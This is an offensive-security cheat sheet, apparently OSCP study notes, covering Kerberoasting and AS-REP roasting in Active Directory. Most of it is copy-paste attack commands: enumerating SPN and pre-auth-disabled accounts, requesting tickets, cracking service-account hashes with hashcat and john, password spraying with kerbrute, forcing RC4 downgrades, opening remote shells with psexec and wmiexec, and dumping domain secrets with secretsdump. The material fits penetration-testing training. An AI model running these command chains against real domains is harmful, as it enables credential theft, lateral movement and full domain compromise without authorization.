Kerberoasting & AS-REP Roasting — Complete Reference
External: Internal All The Things — Kerberoasting
External: Internal All The Things — AS-REP Roasting
What is Kerberoasting?
Any authenticated domain user can request a Kerberos TGS ticket for any service registered with a Service Principal Name (SPN). The ticket is encrypted with the service account’s NTLM hash. You request the ticket, extract it, and crack it offline — no elevated privileges needed.
Domain User → Request TGS for SPN → Get ticket (encrypted with svc account hash) → Crack offline
Target: Service accounts with SPNs — especially ones that run as real user accounts (not NETWORK SERVICE / LOCAL SYSTEM), since those have crackable passwords.
What is AS-REP Roasting?
Accounts with “Do not require Kerberos preauthentication” enabled will return a Kerberos AS-REP encrypted with their password hash — without needing to know the password first. You grab the blob and crack it offline.
No creds needed → Request AS-REP for account → Get encrypted blob → Crack offline
Requirements
| Attack | Minimum Requirement |
|---|---|
| Kerberoasting | Any valid domain user credential |
| AS-REP Roasting | Network access to the DC — no creds needed |
| All Kerberos from Linux | Clock synced to DC (±5 min) — see Time Sync |
# Before any Kerberos work from Kali
sudo timedatectl set-ntp false
sudo ntpdate -s DC_IP
date📌 1) Kerberoasting — Step by Step
targetedKerberoast (ACL abuse — temporary SPN)
ShutdownRepo/targetedKerberoast — for users without an SPN: if you have write on servicePrincipalName (GenericWrite · WriteOwner chain), the tool sets a temp SPN, requests the Kerberoast hash, then removes the SPN. Stealthier than roasting every account.
# Install
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
cd targetedKerberoast
pip3 install -r requirements.txt # if present
# Password auth
python3 targetedKerberoast.py -d voleur.htb -u svc_ldap -p 'PASS' --dc-ip DC_IP
# Kerberos (-k) — voleur.htb style (NTLM disabled / use ticket)
export KRB5CCNAME=svc_ldap.ccache
targetedKerberoast -d 'voleur.htb' -u 'svc_ldap' -k --dc-host DC
# same: python3 targetedKerberoast.py … or ./targetedKerberoast.py after chmod +x
# --dc-host = DC hostname (not IP) when port 445 blocked or Kerberos-only
# Target one user from file
targetedKerberoast.py -d corp.local -u user -p 'PASS' --dc-ip DC_IP \
--request-user todd.wolfe -o kerb.txt
# Only abuse writable SPN (skip accounts that already have SPN)
targetedKerberoast.py -d corp.local -u user -p 'PASS' --dc-ip DC_IP --only-abuse| Flag | Purpose |
|---|---|
-d / --domain | Auth domain (FQDN) |
-u / -p / -H | Creds or hash |
-k | Kerberos — uses KRB5CCNAME ccache |
--dc-ip | KDC IP |
--dc-host | DC hostname (use with -k on labs like voleur) |
--request-user | Single target username |
-o | Output file for hashes |
--only-abuse | Only users you can write SPN on |
-D | Target domain (multi-domain) |
Prereqs: Kerberos Setup - krb5.conf + Time Sync-Clock Skew for -k · Crack → Use Kerberoast Hash
voleur.htb chain: restore deleted user → targetedKerberoast → SMB with ticket — CrackMapExec - nxc > 📌 tombstone module (ldap -M tombstone)
Step 1A — Find Kerberoastable Accounts (from Linux)
# Impacket — list SPNs and immediately request + save hashes
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request
# Save hashes to a file
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# Enumerate only — list SPNs without requesting tickets
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10
# With hash auth (pass-the-hash)
impacket-GetUserSPNs corp.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.10 -request
# Target a specific user
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request-user svc_sqlStep 1B — Find Kerberoastable Accounts (from Windows)
Full Rubeus command reference: Rubeus
# PowerView
Import-Module .\PowerView.ps1
# List all accounts with SPNs
Get-DomainUser -SPN
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# Get detailed info
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof, description
# Built-in setspn command (no tools needed)
setspn -T corp.local -Q */*
setspn -L <username> # SPNs for a specific account
# LDAP query via PowerShell (no extra tools)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
Select-Object Name, SamAccountName, ServicePrincipalNameStep 2A — Request TGS Tickets (from Linux)
# Impacket — request + save in one step (most common)
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# The hashes look like:
# $krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$...Step 2B — Request TGS Tickets (from Windows)
# Rubeus — full kerberoasting in one command
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
# Rubeus — target a specific SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/db01.corp.local:1433 /outfile:kerberoast.txt
# Rubeus — request only RC4-encrypted tickets (easier to crack)
.\Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt
# Rubeus — with alternate credentials
.\Rubeus.exe kerberoast /creduser:corp.local\user /credpassword:Password1 /outfile:kerberoast.txt
# Invoke-Kerberoast (PowerSploit/PowerView)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt
# Invoke-Kerberoast — John format
Invoke-Kerberoast -OutputFormat John | Select-Object Hash | Out-File -Encoding ASCII kerberoast_john.txtStep 3 — Crack the Tickets
Hashcat (preferred — GPU speed)
# RC4 (type 23) — most common, mode 13100
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES-128 (etype 17), mode 19600
hashcat -m 19600 kerberoast.txt /usr/share/wordlists/rockyou.txt
# AES-256 (etype 18), mode 19700
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Show cracked
hashcat -m 13100 kerberoast.txt --showJohn the Ripper (CPU, simpler)
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules --format=krb5tgs
john kerberoast.txt --show📌 2) AS-REP Roasting — Step by Step
Step 1A — Find Vulnerable Accounts (from Linux, no creds needed)
# Impacket — no creds needed, just pass usernames
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass -format hashcat
# With valid domain creds (enumerate all at once)
impacket-GetNPUsers corp.local/user:password -dc-ip 10.10.10.10 -request -format hashcat
# Save output
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass -outputfile asrep.txt
# Target a single known username
impacket-GetNPUsers corp.local/ -users jsmith -dc-ip 10.10.10.10 -no-pass -format hashcatTip: Use a username list from
enum4linux,rpcclient, orkerbrutefor unauthenticated AS-REP roasting.
Step 1B — Find Vulnerable Accounts (from Windows)
Full Rubeus reference: Rubeus
# Rubeus — enumerate and request AS-REP in one shot
.\Rubeus.exe asreproast /outfile:asrep.txt
# Rubeus — with format for hashcat
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView — find accounts with pre-auth disabled
Get-DomainUser -PreauthNotRequired
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# Built-in LDAP query
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuthStep 2 — Crack AS-REP Hashes
# Hashcat — mode 18200 (AS-REP etype 23)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt --show
# John
john asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5asrep
john asrep.txt --showThe hash looks like:
$krb5asrep$23$jsmith@CORP.LOCAL:3e...
📌 3) Username Enumeration (Pre-Requisite)
If you have no credentials at all, enumerate usernames first for AS-REP roasting.
# Kerbrute — fast username enumeration via Kerberos (no creds needed)
kerbrute userenum --dc 10.10.10.10 -d corp.local /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
# Also works for password spray
kerbrute passwordspray --dc 10.10.10.10 -d corp.local users.txt 'Password123!'
# enum4linux-ng
enum4linux-ng -U 10.10.10.10
# rpcclient (null session)
rpcclient -U "" -N 10.10.10.10
> enumdomusers📌 4) After Cracking — What to Do With the Password
→ Use Kerberoast Hash (Kerberoast) · Use AS-REP Hash (AS-REP)
# Test the cred
crackmapexec smb 10.10.10.10 -u svc_sql -p 'CrackedPassword' -d corp.local
# Check what the account can access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'CrackedPassword' -d corp.local
# Remote shell if it has local admin somewhere
impacket-psexec corp.local/svc_sql:'CrackedPassword'@10.10.10.10
impacket-wmiexec corp.local/svc_sql:'CrackedPassword'@10.10.10.10
# MSSQL on 1433 — domain cred needs -windows-auth
impacket-mssqlclient corp.local/svc_sql:'CrackedPassword'@10.10.10.10 -windows-auth
nxc mssql 10.10.10.10 -d corp.local -u svc_sql -p 'CrackedPassword'
# Check group memberships
crackmapexec smb 10.10.10.10 -u svc_sql -p 'CrackedPassword' --groups
net user svc_sql /domain # From a domain-joined machine
# If svc account has DCSync rights → dump the domain
impacket-secretsdump corp.local/svc_sql:'CrackedPassword'@10.10.10.10📌 5) Kerberoasting via CrackMapExec
# Kerberoast all SPNs in one command
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoasting kerberoast.txt
# AS-REP roasting
crackmapexec ldap 10.10.10.10 -u user -p password --asreproast asrep.txt📌 6) Forcing RC4 (Downgrade Attack)
AES-256 tickets are harder to crack. You can force the DC to issue RC4-encrypted tickets (etype 23) — much faster to crack — by requesting with an RC4-only supported encryption list.
# Impacket — request RC4 tickets only
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# Rubeus — request RC4 only
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:kerberoast.txtNote: Modern environments may enforce AES-only — check the account’s
msDS-SupportedEncryptionTypesattribute.
📌 7) Ticket Encryption Types
| Etype | Name | Hashcat Mode | Crack Speed |
|---|---|---|---|
| 23 | RC4-HMAC | 13100 (TGS) / 18200 (AS-REP) | Fast |
| 17 | AES-128 | 19600 (TGS) | Slow |
| 18 | AES-256 | 19700 (TGS) | Very slow |
📌 8) Identifying Hash Type
# Kerberoast TGS hash (RC4 / etype 23):
$krb5tgs$23$*svc_sql$CORP.LOCAL$...
# Kerberoast TGS hash (AES-256 / etype 18):
$krb5tgs$18$*svc_sql$CORP.LOCAL$...
# AS-REP hash (RC4):
$krb5asrep$23$jsmith@CORP.LOCAL:...
# AS-REP hash (AES-256):
$krb5asrep$18$jsmith@CORP.LOCAL:...
📌 9) Targeted Kerberoasting (stealthy / ACL-based)
Two meanings on OSCP:
| Type | Tool | When |
|---|---|---|
| ACL abuse | targetedKerberoast.py | GenericWrite on user servicePrincipalName — temp SPN → hash → remove SPN |
| Pick high-value SPNs | GetUserSPNs -request-user | No ACL — roast one known svc account only (less noise) |
# ACL abuse — full section above
targetedKerberoast -d 'voleur.htb' -u 'svc_ldap' -k --dc-host DC
# Single-account roast (no SPN write needed)
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request-user svc_sql -outputfile target.txtRestore deleted user first (voleur) → CrackMapExec - nxc > 📌 tombstone module (ldap -M tombstone)
📌 Quick OSCP Cheat Sheet (Copy/Paste)
# ─── KERBEROASTING ─────────────────────────────────────────────
# 1. Enumerate + request hashes (Linux)
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt
# 1b. Targeted (ACL temp SPN) — voleur.htb
targetedKerberoast -d voleur.htb -u svc_ldap -k --dc-host DC
# 2a. Crack with Hashcat (RC4)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 2b. Crack with John
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs
# 3. Show cracked
hashcat -m 13100 kerberoast.txt --show
# ─── AS-REP ROASTING ───────────────────────────────────────────
# 1. No-creds attack (need a username list)
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip DC_IP -no-pass -format hashcat -outputfile asrep.txt
# 1b. With creds (find all vulnerable accounts automatically)
impacket-GetNPUsers corp.local/user:password -dc-ip DC_IP -request -format hashcat -outputfile asrep.txt
# 2a. Crack with Hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 2b. Crack with John
john asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5asrep
# 3. Show cracked
hashcat -m 18200 asrep.txt --show
# ─── ENUMERATE FIRST IF NO CREDS ───────────────────────────────
# Username enum (no creds)
kerbrute userenum --dc DC_IP -d corp.local /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
# ─── TEST CRACKED CRED ─────────────────────────────────────────
crackmapexec smb DC_IP -u svc_account -p 'CrackedPassword' -d corp.local